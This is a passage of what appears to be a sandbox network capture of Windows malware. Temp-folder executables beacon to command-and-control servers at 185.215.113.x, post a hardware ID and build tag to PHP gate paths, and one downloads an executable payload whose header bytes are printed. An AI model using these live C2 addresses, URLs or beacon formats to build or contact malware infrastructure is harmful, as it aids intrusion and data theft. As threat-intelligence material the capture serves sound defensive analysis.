Nov 22, 2024 04:13:31.044789076 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:13:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50026	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:34.329667091 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:13:35.768238068 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:13:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50028	185.215.113.206	80	7296	C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:35.164323092 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 22, 2024 04:13:36.603611946 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:13:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 04:13:36.609740019 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJEBAAECBGDHIECAKJK Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 37 31 39 30 34 34 30 39 39 42 33 35 36 36 31 38 32 35 31 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="hwid"CE719044099B3566182515------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="build"mars------KKJEBAAECBGDHIECAKJK--
Nov 22, 2024 04:13:37.076811075 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:13:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50037	34.107.221.82	80	7272	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:37.010629892 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 22, 2024 04:13:38.122375965 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 21 Nov 2024 06:38:18 GMT Age: 74119 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 22, 2024 04:13:48.270251989 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50039	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:37.672947884 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:13:38.980921984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:13:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50057	34.107.221.82	80	7272	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:40.028510094 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 22, 2024 04:13:41.206547022 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 21 Nov 2024 08:54:35 GMT Age: 65946 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50061	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:40.615927935 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:13:42.001384974 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:13:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50073	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:43.742811918 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:13:45.125699997 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:13:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50086	185.215.113.206	80	1244	C:\Users\user\AppData\Local\Temp\1008092001\e01d8601b1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:45.816951036 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 22, 2024 04:13:47.163857937 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:13:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 04:13:47.167994022 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJKKFIJKFCAKJJJKJKFI Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 37 31 39 30 34 34 30 39 39 42 33 35 36 36 31 38 32 35 31 35 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="hwid"CE719044099B3566182515------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="build"mars------HJKKFIJKFCAKJJJKJKFI--
Nov 22, 2024 04:13:47.612057924 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 03:13:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50089	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:46.763380051 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 22, 2024 04:13:48.148456097 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:13:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50094	185.215.113.16	80	6180	C:\Users\user\AppData\Local\Temp\1008091001\0db0ccc3ed.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:48.450846910 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 22, 2024 04:13:49.829646111 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:13:49 GMT Content-Type: application/octet-stream Content-Length: 2721792 Last-Modified: Fri, 22 Nov 2024 03:06:55 GMT Connection: keep-alive ETag: "673ff54f-298800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2a 00 00 04 00 00 05 bd 29 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ @)`Ui` @ @.rsrc`2@.idata 8@mjddytxu@)():@vefxxbiz )b)@.taggant@"f)@
Nov 22, 2024 04:13:49.829731941 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:13:49.829785109 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:13:49.829838037 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:13:49.829871893 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:13:49.829905987 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:13:49.829938889 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:13:49.829973936 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 22, 2024 04:13:49.830009937 CET	1236	IN	Data Raw: 4c d0 1a 29 85 25 bb dd 42 43 8d 25 35 36 f2 0d 7a 25 b6 bd a2 5a 64 de 42 43 8d b7 33 42 f2 dd 75 25 18 5d 13 76 71 55 e4 02 11 c6 d5 4b 90 7b 34 3e 3f df 92 25 a8 55 e0 94 16 8f 9a 3f 8b 8a 3d 68 0c 5e 55 57 8c 05 15 5c 1a 04 74 48 71 d1 63 2a Data Ascii: L)%BC%56z%ZdBC3Bu%]vqUK{4>?%U?=h^UW\tHqc*Ss#e&3bOv_8WZvH,?tQ_`&(+Vt9c>}5J><A{1:AG~lGH$&5:$,95%:@b?xnXA"U@D6
Nov 22, 2024 04:13:49.830048084 CET	1236	IN	Data Raw: 0b 40 b8 48 f0 52 5f 57 cc f2 1e 70 6b eb 94 39 9c f4 04 50 c4 64 02 8a 8a f3 1d 2f 4d 8a 4d 00 3c a0 c0 cd 40 18 5b f8 44 a6 dc 6d 1e 1f f6 90 93 c4 4b 15 7b cf f4 8e 53 23 a7 66 4d ec a6 e3 51 9b c9 93 4d b7 06 cb f1 e6 24 0c 2b a6 4b 5d 81 9b Data Ascii: @HR_Wpk9Pd/MM<@[DmK{S#fMQM$+K]eW?WYbI]<*CjMDASTN?RT}FJKUMW)~FvXe<f82<`"=bZG8j>hzcc`?7ed+!eojh\|eZ_d@
Nov 22, 2024 04:13:49.949589014 CET	1236	IN	Data Raw: 83 ac 1f c5 c5 4c 8a 6b 89 0c 2a 7a 78 2c 2d 5b 24 db 77 bf 73 30 37 47 86 15 ef ce 51 ec f0 be 49 13 5f 58 67 f8 e1 1a 1d 01 03 74 7a 65 8d 19 88 4a 3a 3e 5e 07 58 17 1b e8 4d 14 cd 7d a1 74 25 77 da fb 65 e1 d4 46 c5 b8 ff 3c 85 04 6e 41 5f f8 Data Ascii: Lk*zx,-[$ws07GQI_XgtzeJ:>^XM}t%weF<nA_>O]q}rf{jQ)sRRQarKgC_C^+rY"+WSk?#[(s1cr[%b\#ky! ^~5J/m;^,`%;xSWmy~9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50100	185.215.113.43	80	7816	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:49.886595011 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 22, 2024 04:13:51.262594938 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 22 Nov 2024 03:13:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50104	34.107.221.82	80	7272	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 04:13:51.167201042 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 22, 2024 04:13:52.251765966 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 21 Nov 2024 06:38:18 GMT Age: 74134 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 22, 2024 04:13:58.738693953 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 22, 2024 04:13:59.053174973 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 21 Nov 2024 06:38:18 GMT Age: 74140 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 22, 2024 04:14:00.562798023 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 22, 2024 04:14:00.877203941 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 21 Nov 2024 06:38:18 GMT Age: 74142 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 22, 2024 04:14:01.831788063 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 22, 2024 04:14:02.146420002 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 21 Nov 2024 06:38:18 GMT Age: 74143 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 22, 2024 04:14:03.060467005 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 22, 2024 04:14:03.375401974 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 21 Nov 2024 06:38:18 GMT Age: 74145 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 22, 2024 04:14:07.159609079 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
